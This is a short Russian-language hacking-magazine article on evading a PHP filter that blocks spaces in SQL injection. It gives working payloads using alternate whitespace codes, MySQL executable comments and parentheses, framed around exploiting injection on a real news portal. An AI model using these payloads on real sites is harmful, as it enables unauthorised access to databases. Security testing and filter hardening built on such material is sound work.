Обход фильтрации пробелов в SQL-injection


Задача: Обойти фильтрацию пробелов в SQL-injection
Решение

В прошлом номере я уже рассказал, как можно обойти фильтрацию запятых, но подобная фильтрация встречается крайне редко, совсем другой случай – фильтрация пробелов. Скажем, ты нашел инъекцию на крупном новостном портале, но никак не можешь ее раскрутить, так как все известные тебе варианты пробелов не работают. Давай рассмотрим такой код
<?php
if(isset($_GET['id']) && $_GET['id']!=»){
if(strstr($_GET['id'],» «) {die «HACK ALERT»};
if(strstr($_GET['id'],»/**/») {die «HACK ALERT»};
if(strstr($_GET['id'],»+») {die «HACK ALERT»};
if(strstr($_GET['id'],»%20″) {die «HACK ALERT»};
здесь какие-то запросы с использованием переменной $_GET['id']
Как мы видим, при использовании пробелов » «, /**/, + и %20 скрипт прекращает свою работу. На самом деле существует как минимум два способа обхода такого скрипта, первый – использование различных пробельных символов, второй – использование логики SQL запросов, в частности их реализации в MySQL.
1. Итак, первый способ. Помимо самого пробела существует множество различных пробельных символов, табуляция, возврат каретки и так далее. Вот их полный (а может и нет) список:
  • %09 – horizontal tab, горизонтальная табуляция
  • %0A – NL line feed, символ новой строки
  • %0B – vertical tab, вертикальная табуляция
  • %0C – NP form feed, символ новой страницы
  • %0D – carriage return, возврат каретки
Все эти символы будут рассматриваться как пробельные. Пример запроса:
id=-1%0Aunion%0Aselect%0A1
C этим, я думаю, все понятно, перейдем ко второму варианту:
2. В MySQL есть возможность выполнять SQL-код в блоке комментариев, выглядит это примерно так:
select id/*!,title*/ from news
В данном случае из таблицы news будут выведены поля id и title. Теперь посмотрим, как это реализовать в боевых условиях:
id=-1/*!union*/select/*!version()*/
Но бывает и такое, что фильтруются символы слэша. Тогда можно использовать способ, основанный на использовании скобок в запросе. Вот пример для обхода вышеизложенного скрипта:
id=(-1)union(select(version()))
(c)xakep.ru

1 комментарий: